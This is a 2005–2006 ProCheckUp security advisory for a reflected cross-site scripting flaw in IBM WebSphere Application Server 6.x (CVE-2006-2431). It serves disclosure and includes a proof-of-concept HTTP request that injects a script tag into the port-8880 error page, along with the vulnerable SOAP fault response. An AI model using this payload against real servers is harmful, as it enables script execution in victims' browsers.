Cross Site Scripting Vulnerability In IBM Websphere

Vulnerability found:

27 February 2005

Severity level:

Medium

Credits:

Nuri Fattah of ProCheckUp Ltd.

Description:

WebSphere Application Server is vulnerable to a Cross Site Scripting attack through the Internal Server Error page used on port 8880 of the default WebSphere installation. This may allow the execution of malicious script code in the browser of an individual who clicks on a link to a site using the vulnerable version of WebSphere.

Information
REQUEST:
GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1

Host: 192.168.1.195:8880

Connection: close
RESPONSE
HTTP/1.1 500 Internal Server Error

Server: WebSphere Application Server/6.0

Content-Type: text/xml; charset=utf-8

Content-Length: 3013

Connection: close
<?xml version='1.0' encoding='UTF-8'?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1" ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">

</SOAP-ENV:Header>

<SOAP-ENV:Body>

<SOAP-ENV:Fault>
[output omitted]
<faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor>

</SOAP-ENV:Fault>
</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Note

our original advisory contained a typo in the SOAP tag name ('faultfactor' as opossed to 'faultactor'). i.e., "actor" not "factor".

CVE reference

CVE-2006-2431

BID

21018

Vulnerable

This has been tested on WebSphere Application Server version 6.x. Other versions may be vulnerable but this has not been verified.

Legal:

Copyright 2006 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.